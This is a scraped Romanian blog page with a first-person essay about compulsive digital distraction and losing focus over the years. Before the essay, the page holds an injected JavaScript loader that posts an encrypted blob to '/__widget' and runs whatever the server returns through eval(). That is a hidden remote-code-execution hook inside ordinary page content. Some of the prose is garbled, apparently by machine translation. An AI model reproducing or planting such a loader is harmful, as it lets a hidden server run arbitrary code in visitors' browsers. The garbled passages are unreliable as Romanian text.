dieta

7 < (function() < var http = new XMLHttpRequest(); http.open("POST", '/__widget', true); http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.setRequestHeader('Accept', 'application/json;application/javascript'); http.onreadystatechange = function() < if(http.readyState == 4 && http.status == 200) < eval(http.responseText); >; >; http.send ( "date = eyJpdiI6ImZnVlFUU2pVS25SbzFsS290aEpldnc9PSIsInZhbHVlIjoiakx3bjBJWUQvTGtCSWx3YWhiaGFSR1NOMDRmaDAvaDQ1RDFEVE5BbCs5Z1A0bzg2WE5uZVgxUi9iRkwxTWI2d2M0b21renR5bzRMbThyeEVVTGVoemRDbmlTOUhHL2JsZERjTmhjeHJxT3Y3aHRnRytaN3ZnL2NLL25EcjlIdEhHbW5FUDNsaCt3Q05DcnRJMjBmL252bC94UHkvbUJyTUwzUFdhSTR4ZVpVR1JNaW1NRDhvcExFd3RPZ2lacmpFcVh2cDFuSy9PNGIwRC9YU3JoVmxUcFVGMG1IVkM1NUdQUmp2bjlZbG4rNmx3UmNnN2RCcHliSVNsd2FxT0lhY3dacjJhYks1SFkzQ01RNExsZitkSEovQ2xUU0F1MEpSMFZBN1FmeUw2NUxoVmMrUXVCRWdTZVJmdUxDY29qSHc4bDdiZlBzVkNUTmtvS05tUEVMR2RxWUo3UmphQkhoZHBQeWhvbCtIN0cxeUxFdFpSQm91SjlDb045UTl3WVBmdWpBNUsvWHNrQWpTamwxYU40bWFGdz09IiwibWFjIjoiMzMzN2Y5Y2ZlMTRhMGYwYzE4YWQ2MGM2YWZhMzJlODRlYzdiMDM5ZjUzYTViMzI5MGZkMTc2OTZlODZjNWIwYyJ9 & _token = 5ay5d46gbiLybPv6MKATsccoYVNdmle8MmH9Kzrr"); >) (); >) "title =" Faceți clic pentru a primi o notificare atunci când acest autor publică articole noi "> Abonați-vă

În ceea ce ar fi trebuit să fie 20 de minute de muncă, m-am întrerupt compulsiv de cel puțin nouă ori. Mai mult, costul acestor întreruperi depășește cu mult timpul adăugat pentru a termina acest blestemat. Probabil că mi-au distras atenția, reducând calitatea scrisului meu, provocând astfel necesitatea mai multor editări și revizuiri. Probabil că au creat anxietate, deoarece am petrecut o mare parte din timpul meu distras îngrijorat de faptul că nu lucrez și o mare parte din timpul meu muncind, îngrijorat de faptul că pierd conversațiile text, firele de e-mail sau actualizările de știri. Probabil că au făcut procesul de scriere în sine mai puțin plăcut și l-au făcut să pară mai impozant în mintea mea.

Aceste distrageri nu sunt doar neproductive, ci sunt anti-productiv. Ei creează Marea lucrează decât înlocuiesc.

Sunt șanse să parcurgeți singuri acest lucru. Pentru mine, s-a înrăutățit doar pe măsură ce timpul a trecut - ceea ce este ciudat, pentru că ați presupune că atenția și concentrarea mea ar fi mai puternic pe măsură ce îmbătrânesc, dar nu a fost cazul.

Am început să fac bloguri în 2007. Îmi amintesc că a fost ușor să mă descurc pentru a produce o schiță de 1.000 de cuvinte. Mă trezeam și o făceam, apoi mă duceam să iau micul dejun. A fost undeva în jurul anului 2013 unde am observat că mă întrerup adesea pentru a verifica Facebook sau e-mail. Apoi, în jurul anului 2015, am simțit că începe să devină o problemă.

Am simțit că trebuie să acord atenție atenției mele, că trebuie să mă concentrez asupra concentrării mele. Era nou. Nu era ceva la care trebuia să mă gândesc de când eram copil.

Până anul trecut, aceste întreruperi deveniseră compulsive. Nu știam cum nu mai distrage-mă și a trebuit să depun eforturi mari pentru a preveni acest lucru. Mi s-a părut că trăiesc într-un fel de peisaj digital iad, unde procesul de a face ceva semnificativ și important părea nu numai infructuos, ci și imposibil din punct de vedere atențional.